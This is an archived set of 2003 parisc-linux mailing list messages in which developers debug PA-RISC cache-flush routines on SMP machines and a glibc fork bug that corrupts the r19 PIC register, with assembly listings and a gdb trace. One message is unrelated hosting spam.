List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19396

Hi Jim,

Well come :)
> I haven't really been following this thread, so I don't know what
>problem you're actually trying to solve, but I'd like to point out a few
>aspects of the PA-RISC processor architecture.
>
To be short, the pa linux kernel boot well on A model as SMP (Multiprocessor
mode) but panic on L/N model. And a pb in tlb management is suspected.

>Comments mixed with the original text, below.
>
> -- Jim
>   
>> HP Itanium/PA-RISC Processor Architect

>If you use fdc, fic, or pdc, then they are broadcast to other
>processors, but fdce and fice are not.

Thanks I will check if such a code is used.

>While you can use ldda and stda to access memory using absolute
>(physical) addresses instead of virtual, these instructions do *not*
>bypass the cache.  And because PA processors use virtually-indexed
>caches, the rules for mixing virtual and absolute accesses, and have
>them all remain cache-coherent, are complicated.  If you really need to
>do this, then you'll have to read and understand all of Appendix F, "TLB
>and Cache Control", in the PA-RISC 2.0 Architecture manual (the "Kane"
>book).

Yes, very accurate reference, but imo it is not a course on PA-RISC asm (I
mean, as a beginner, as i am, would like to find with some trial example
showing what is good and trivial errors to not commit).

Thanks for your clear comments,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "513078" <513078@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: =?GB2312?B?xPq6w6Oh?=
Date: Fri, 29 Aug 2003 17:15:00 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20030829095257.B88024852@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622741 30484 80.91.229.3 (22 Nov 2014 02:19:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:01 +0000 (UTC)
Cc: drobbins@gentoo.org, www@gentoo.org, emailbase@371.net,
	20010922114339.21789.qmail@mailserv2.iuinc.com,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 03:52:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail2.gench (unknown [202.109.122.118])
	by dsl2.external.hp.com (Postfix) with ESMTP id B88024852
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Aug 2003 03:52:57 -0600 (MDT)
Original-Received: from century-25 (220.113.165.166 [220.113.165.166]) by mail2.gench with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3)
	id DJ69SGG2; Thu, 21 Jan 1999 03:00:18 +0800
X-Priority: 2
X-Mailer: FoxMail 3.11 Release [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19397

ͨȫµ罨վ

    ࣬ȫԼҪ

    ٶȸȶϸ

    Żݣ͹VIPҵ
      
    10߼
    
    ȿͨ󸶿죬󸶿Ͻգ
    
    һ170ԪͿӵ++ҵʾ֡(ϸ:http://www.2211966.net/host.htm).

    иŻײ;:http://www.2211966.net    ϵQQ:227564251
    

==========================================================================================================================================================================

    ʼΪҵź,Դ˲Ȥɾ;ϣյʼ뵽http://filter.2211966.net.˶,ǽַ˳б.лл!                                                               

    This mail is a business letter.If you are uninterested in this.please delete  it immediately;If you do not hope to receive this mail again.please get to http://filter.2211966.net. fill in your mail address.and we will filter it out
of our mail list.


From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Fri, 29 Aug 2003 17:59:53 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <3F4D78B0000005EE@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622742 30501 80.91.229.3 (22 Nov 2014 02:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:02 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>
To: "Jim Hull" <jim.hull@hp.com>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 10:00:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F44D482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Aug 2003 10:00:01 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19slc9-0006AT-00; Fri, 29 Aug 2003 17:56:41 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 29 Aug 2003 17:59:53 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19398

>If you use fdc, fic, or pdc then they are broadcast to other
>processors, but fdce and fice are not.

Hi Jim and al,

I just noticed the two following loops:
flush_data_cache_local:
[...]

fdmanyloop:                                     /* Loop if LOOP >= 2 */
        ADDIB>          -1,%r31,fdmanyloop      /* Adjusted inner loop decr
*/
        fdce            0(%sr1,%arg0)
        fdce,m          %arg1(%sr1,%arg0)       /* Last fdce and addr adjust
*/
        movb,tr         %arg3,%r31,fdmanyloop   /* Re-init inner loop count
*/
        ADDIB<=,n       -1,%arg2,fdsync         /* Outer loop decr */

fdoneloop:                                      /* Loop if LOOP = 1 */
        ADDIB>          -1,%arg2,fdoneloop      /* Outer loop count decr
*/
        fdce,m          %arg1(%sr1,%arg0)       /* Fdce for one loop */

fdsync:
        syncdma
        sync
        mtsm    %r22
        bv      %r0(%r2)
        nop
        .exit

        .procend

[...]

flush_instruction_cache_local:
[...]

fimanyloop:                                     /* Loop if LOOP >= 2 */
        ADDIB>          -1,%r31,fimanyloop      /* Adjusted inner loop decr
*/
        fice            0(%sr1,%arg0)
        fice,m          %arg1(%sr1,%arg0)       /* Last fice and addr adjust
*/
        movb,tr         %arg3,%r31,fimanyloop   /* Re-init inner loop count
*/
        ADDIB<=,n       -1,%arg2,fisync         /* Outer loop decr */

fioneloop:                                      /* Loop if LOOP = 1 */
        ADDIB>          -1,%arg2,fioneloop      /* Outer loop count decr
*/
        fice,m          %arg1(%sr1,%arg0)       /* Fice for one loop */

fisync:
        sync
        bv      %r0(%r2)
        nop
        .exit

        .procend


Do you think that could be there where the pb occurs?

Thanks for advise,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Fri, 29 Aug 2003 10:13:32 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20030829161332.GA22468@dsl2.external.hp.com>
References: <3F4D78B0000005EE@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622742 30507 80.91.229.3 (22 Nov 2014 02:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:02 +0000 (UTC)
Cc: Jim Hull <jim.hull@hp.com>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 10:13:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DEF274869; Fri, 29 Aug 2003 10:13:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F4D78B0000005EE@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19399

On Fri, Aug 29, 2003 at 05:59:53PM +0200, Joel Soete wrote:
> I just noticed the two following loops:
> flush_data_cache_local:

Note the names of the routines!
ie should only be called when we know only the local CPU is touching
data that needs to be flushed. This sounds like a risky
strategy to me given prefetching can occur to page
that's mapped cacheable.

> Do you think that could be there where the pb occurs?

I don't. There are likely other problems hidden there though.

grant


From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Fri, 29 Aug 2003 16:04:00 -0400
Lines: 239
Approved: news@gmane.org
Message-ID: <20030829200400.GF19341@systemhalted>
References: <20030829084816.GD19341@systemhalted> <200308291507.LAA13539@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622742 30515 80.91.229.3 (22 Nov 2014 02:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:02 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 14:06:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C48FA485E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Aug 2003 14:06:49 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19spTV-0000Wd-00; Fri, 29 Aug 2003 16:04:01 -0400
Content-Disposition: inline
In-Reply-To: <200308291507.LAA13539@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (33% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19400

Dave,

I will start by saying that I wasn't "fair" in just dumping the assembly
into an email, falling asleep at my keyboard at 4:30 AM and leaving it
up to you to guess what was _really_ going on :)

I'm sending this to the list so it gets recorded on archive. Our problem
right now it that we don't properly restore r19 after an __asm()
statement even if the clobber contains r19. Or rather gcc doesn't
schedule the restore to occur at the right time.

What does this mean for glibc, well it means that ld.so's first fork
corrupts the PIC register r19 aka LTP, and the subsequent import stub
for a function call fails (SIGSEGV). What is effected in glibc?
The following:
	- INTERNAL_SYSCALL (Macro syscall)
	- INLINE_SYSCALL (Macro syscall)
	- syscall(...) (C version)
	- DO_CALL (Assembly wrapper syscall)

What is not effected:
	- DO_CALL_NOERRNO
	- DO_CALL_ERRVAL
	- PSEUDO (syscall cancellation wrapper)
	
Explicitly storing and loading r19 around the syscall e.g. inside the
__asm() statement works around the problem. I do not want to have to
stw/ldw since it costs a lot in performance, we know now to look at gcc
for help. Perhaps I will use this as a temporary measure to release
glibc 2.3.2 for debian so we keep testing moving.

This problem has a number of interesting heisenbugs:
	- If the kernel decides not to scratch in r19 then you're okay.
	- If the compiler version scheduled r19 restore differently then
          you're okay.

All of these contributed to a lof of head scratching on my part. Since
things worked sometimes, on some boxes, and differently with different
compilers. Needless to say I learned a lot and poked enough other people
that we have had our mmap flush problems fixed, and our -fPIC -static
problems fixed.

See the following for expansion on both:
http://www.ussg.iu.edu/hypermail/linux/kernel/0308.2/1680.html
http://sources.redhat.com/ml/binutils/2003-08/msg00467.html

> I don't see the restore of r19 from r4.  What are the other 10 insns?
> Normally, I would have expected it before

This code is the relocated libpthread.so as viewed without symbols by
tracing through ld.so loading ex14 testcase in glibc. This code is the
beginning of the loader trying to start the child process immediately
after the last few calls in dl-runtime.c. What follows is the whole insn
stream up to the crash from the last call to fixup.

Here it is for posterity.

Breakpoint 1, 0x4100ceb0 in _dl_runtime_resolve () at dl-runtime.c:213
213               value = l->l_addr + sym->st_value;
(gdb) c 21
Will ignore next 20 crossings of breakpoint 1.  Continuing.
                                                                                           
Breakpoint 1, 0x4100ceb0 in _dl_runtime_resolve () at dl-runtime.c:213
213               value = l->l_addr + sym->st_value;
                                                   
si from here forward
                                        
0x4015e3b8:     stw rp,-14(sr0,sp)
0x4015e3bc:     stw,ma r4,40(sr0,sp)
0x4015e3c0:     stw r19,-20(sr0,sp)
0x4015e3c4:     addil 1000,r19,%r1
0x4015e3c8:     copy r1,r21
0x4015e3cc:     ldw 200(sr0,r21),r21
0x4015e3d0:     ldw 6c(sr0,r21),r22
0x4015e3d4:     cmpib,<> 0,r22,0x4015e3e8
0x4015e3d8:     addil 800,r19,%r1
                                                                                           
0x4015e3e8:     ldw 5d8(sr0,r1),r20
0x4015e3ec:     copy r20,r26
0x4015e3f0:     b,l 0x40167e30,r31
0x4015e3f4:     copy r31,rp
                                                                                           
0x40167e30:     b,l 0x40167e38,r1
0x40167e34:     addil 9f800,r1,%r1
0x40167e38:     be,n 218(sr4,r1)
                                                                                           
0x40207850:     bb,>=,n r22,1e,0x40207860
0x40207854:     depwi 0,31,2,r22
0x40207858:     ldw 4(sr0,r22),r19 <---------- r19 = 0x40020718
0x4020785c:     ldw 0(sr0,r22),r22
0x40207860:     bv r0(r22)
0x40207864:     stw rp,-18(sr0,sp)
                                                                                           
0x4000812c:     stw rp,-14(sr0,sp)
0x40008130:     stw,ma r5,40(sr0,sp)
0x40008134:     stw r4,-3c(sr0,sp)
0x40008138:     stw r3,-38(sr0,sp)
0x4000813c:     stw r19,-20(sr0,sp)
0x40008140:     ldw c(sr0,r26),r20
0x40008144:     copy r26,r3
0x40008148:     cmpib,<< 3,r20,0x40008184
0x4000814c:     ldi 16,ret0
0x40008150:     blr r20,r0
0x40008154:     nop
                                                                                           
0x40008160:     b,l 0x400081a8,r0
0x40008164:     ldw 8(sr0,r26),r20
                                                                                           
0x400081a8:     ldi 0,ret0
0x400081ac:     ldo 10(r26),r26
0x400081b0:     mfctl tr3,r5
0x400081b4:     cmpb,=,n r5,r20,0x400081cc
0x400081b8:     b,l 0x4000b29c,rp
0x400081bc:     copy r5,r25
                                                                                           
0x4000b29c:     stw rp,-14(sr0,sp)
0x4000b2a0:     stw,ma r4,40(sr0,sp)
0x4000b2a4:     stw r19,-20(sr0,sp)
0x4000b2a8:     b,l 0x4000b930,rp
0x4000b2ac:     ldo 10(r26),r26
                                                                                           
0x4000b930:     stw rp,-14(sr0,sp)
0x4000b934:     ldo 80(sp),sp
0x4000b938:     stw r7,-68(sr0,sp)
0x4000b93c:     stw r6,-64(sr0,sp)
0x4000b940:     stw r5,-60(sr0,sp)
0x4000b944:     stw r4,-5c(sr0,sp)
0x4000b948:     stw r3,-58(sr0,sp)
0x4000b94c:     stw r19,-20(sr0,sp)
0x4000b950:     copy r26,r5
0x4000b954:     ldi 0,r3
0x4000b958:     ldil 1e8000,r20
0x4000b95c:     ldi 31,r6
0x4000b960:     ldo 481(r20),r7
0x4000b964:     stw r5,-70(sr0,sp)
0x4000b968:     ldw -70(sr0,sp),r20
0x4000b96c:     depwi 0,31,4,r20
0x4000b970:     cmpb,<<=,n r5,r20,0x4000b984
                                                                                           
0x4000b984:     ldw -70(sr0,sp),r20
0x4000b988:     ldcw 0(sr0,r20),r20
0x4000b98c:     cmpib,<> 0,r20,0x4000b9d0
0x4000b990:     ldw -94(sr0,sp),rp
                                                                                           
0x4000b9d0:     ldw -68(sr0,sp),r7
0x4000b9d4:     ldw -64(sr0,sp),r6
0x4000b9d8:     ldw -60(sr0,sp),r5
0x4000b9dc:     ldw -5c(sr0,sp),r4
0x4000b9e0:     ldw -58(sr0,sp),r3
0x4000b9e4:     bv r0(rp)
0x4000b9e8:     ldo -80(sp),sp
                                                                                           
0x4000b2b0:     ldw -54(sr0,sp),rp
0x4000b2b4:     bv r0(rp)
0x4000b2b8:     ldw,mb -40(sr0,sp),r4
                                                                                           
0x400081c0:     stw r0,4(sr0,r3)
0x400081c4:     b,l 0x40008180,r0
0x400081c8:     stw r5,8(sr0,r3)
                                                                                           
0x40008180:     ldi 0,ret0
0x40008184:     ldw -54(sr0,sp),rp
0x40008188:     ldw -3c(sr0,sp),r4
0x4000818c:     ldw -38(sr0,sp),r3
0x40008190:     bv r0(rp)
0x40008194:     ldw,mb -40(sr0,sp),r5
                                                                                           
0x4015e3f8:     b,l 0x4015e3e0,r0
0x4015e3fc:     ldw -54(sr0,sp),rp
                                                                                           
0x4015e3e0:     bv r0(rp)
0x4015e3e4:     ldw,mb -40(sr0,sp),r4

0x40008838:     copy r4,r19  <---Restore----- r19 = 0x40020718
__asm(
0x4000883c:     be,l 100(sr2,r0),%sr0,%r31
0x40008840:     ldi 2,r20                    !! FORK !!
);
0x40008844:     ldi -1000,r20 <--Corrupted--- r19 = 0x10106368
0x40008848:     cmpb,>>= r20,ret0,0x40008868
0x4000884c:     copy ret0,r6
                                                                                           
0x40008868:     cmpib,<> 0,r6,0x400088e4
0x4000886c:     copy r19,r4
                                                                                           
0x400088e4:     b,l 0x4000a9d4,rp
0x400088e8:     ldo 38(r7),r5
                                                                                           
0x4000a9d4:     stw rp,-14(sr0,sp)
0x4000a9d8:     ldo 40(sp),sp
0x4000a9dc:     stw r19,-20(sr0,sp)
0x4000a9e0:     ldw -54(sr0,sp),rp
0x4000a9e4:     b,l 0x40005440,r0
0x4000a9e8:     ldo -40(sp),sp

No scheduled r19 restore yet.  
                                                                                         
0x40005440:     addil -800,r19,%r1
0x40005444:     ldw 55c(sr0,r1),r21 <-- Not quote boom, probably wrong.
0x40005448:     bv r0(r21)
0x4000544c:     ldw 560(sr0,r1),r19 <-- *Boom*

> If the restore is not there, please send preprocessed source and
> compilation details.  BOOM appears to be in an import stub (i.e.,
> there must be a call in the 10).  Calls use r19 in pic code (i.e.,
> in the import stub), so it's not obvious why the restore wouldn't be
> there.

The restore is not there. Placing r19 into the __asm(syscall) clobber 
list doesn't fix the issue. Nothing short of an explicity stw/ldw inside 
the __asm statement saves r19 from corruption.

> Scheduling can reorder instructions, so the pic restore doesn't have
> to immediately follow a call.  "FORK" isn't a GCC generated call
> (we never use sr2).  Calls are tricky and the procedure for generating
> them has been revised several times.  Now, we don't split out the save
> and restore of the pic register until after reload.  Reload can introduce
> new uses of the pic register.  When not using exceptions, register
> copies following a call are part of an "in call group" that keeps the
> restore in the same basic block as the call for scheduling purposes.
> However, when exceptions are enabled, the basic block ends at the
> call.  If the restore is split out from the call before reload,
> it will be scheduled in a different basic block from the call.  As
> a result, scheduling may move another instruction which has an
> implicit dependence on the pic register forward past the restore.
> Then, BOOM.

Preprocessed source for ptfork.c at:
http://www.baldric.uwo.ca/~carlos/ptfork.E
You'll see the INLINE_SYSCALL in __pthread_fork on line 8137.

I would like to not that I might have made _many_ errors, but the simple
stw/ldw r19 fix passes all the glib thread tests so I think its a step
in the right direction.

Thanks for the help!
c.



From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Fri, 29 Aug 2003 18:03:00 -0400 (EDT)
Lines: 64
Approved: news@gmane.org
Message-ID: <200308292203.SAA03224@hiauly3.hia.nrc.ca>
References: <20030829200400.GF19341@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622743 30535 80.91.229.3 (22 Nov 2014 02:19:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:03 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 16:03:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 534CF485E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Aug 2003 16:03:06 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id SAA03224;
	Fri, 29 Aug 2003 18:03:00 -0400 (EDT)
In-Reply-To: <20030829200400.GF19341@systemhalted> from Carlos O'Donell at Aug "29," 2003 "04:04:00" pm
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19401

> I'm sending this to the list so it gets recorded on archive. Our problem
> right now it that we don't properly restore r19 after an __asm()
> statement even if the clobber contains r19. Or rather gcc doesn't
> schedule the restore to occur at the right time.

An asm will not cause the restoration of %r19.  The compiler treats
r19 as a fixed register when generating pic code.  The saving and
restoring of the pic register across calls is something that the pa
port does itself in the backend.  Clobbering r19 won't cause it
to be restored.

In the case of syscalls, the compiler has no way of telling that
you are making a "call".

> What does this mean for glibc, well it means that ld.so's first fork
> corrupts the PIC register r19 aka LTP, and the subsequent import stub
> for a function call fails (SIGSEGV). What is effected in glibc?
> The following:
> 	- INTERNAL_SYSCALL (Macro syscall)
> 	- INLINE_SYSCALL (Macro syscall)
> 	- syscall(...) (C version)
> 	- DO_CALL (Assembly wrapper syscall)
> Explicitly storing and loading r19 around the syscall e.g. inside the
> __asm() statement works around the problem. I do not want to have to
> stw/ldw since it costs a lot in performance, we know now to look at gcc
> for help. Perhaps I will use this as a temporary measure to release
> glibc 2.3.2 for debian so we keep testing moving.
> 
> This problem has a number of interesting heisenbugs:
> 	- If the kernel decides not to scratch in r19 then you're okay.
> 	- If the compiler version scheduled r19 restore differently then
>           you're okay.

> 0x40008838:     copy r4,r19  <---Restore----- r19 = 0x40020718

This is a restore after a call.

> __asm(
> 0x4000883c:     be,l 100(sr2,r0),%sr0,%r31
> 0x40008840:     ldi 2,r20                    !! FORK !!
> );
> 0x40008844:     ldi -1000,r20 <--Corrupted--- r19 = 0x10106368

There is no save and restore around the syscall as GCC doesn't know
the asm does a call.  Clobbering r19 isn't an option in PIC code.
Thus, either the syscall has to save and restore r19, or the kernel
has to avoid clobbering r19.

> Preprocessed source for ptfork.c at:
> http://www.baldric.uwo.ca/~carlos/ptfork.E
> You'll see the INLINE_SYSCALL in __pthread_fork on line 8137.
> 
> I would like to not that I might have made _many_ errors, but the simple
> stw/ldw r19 fix passes all the glib thread tests so I think its a step
> in the right direction.

You should be able to use a register.  The problem is how to do this
in a nice way so that you don't have to save and restore r19 in non-pic
code.

Ouch, I am surprised that this hasn't had a bigger effect.

Dave


From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Fri, 29 Aug 2003 18:44:03 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200308292244.SAA29829@hiauly3.hia.nrc.ca>
References: <200308292203.SAA03224@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622743 30549 80.91.229.3 (22 Nov 2014 02:19:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:03 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, randolph@tausq.org,
	dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: dave@hiauly3.hia.nrc.ca
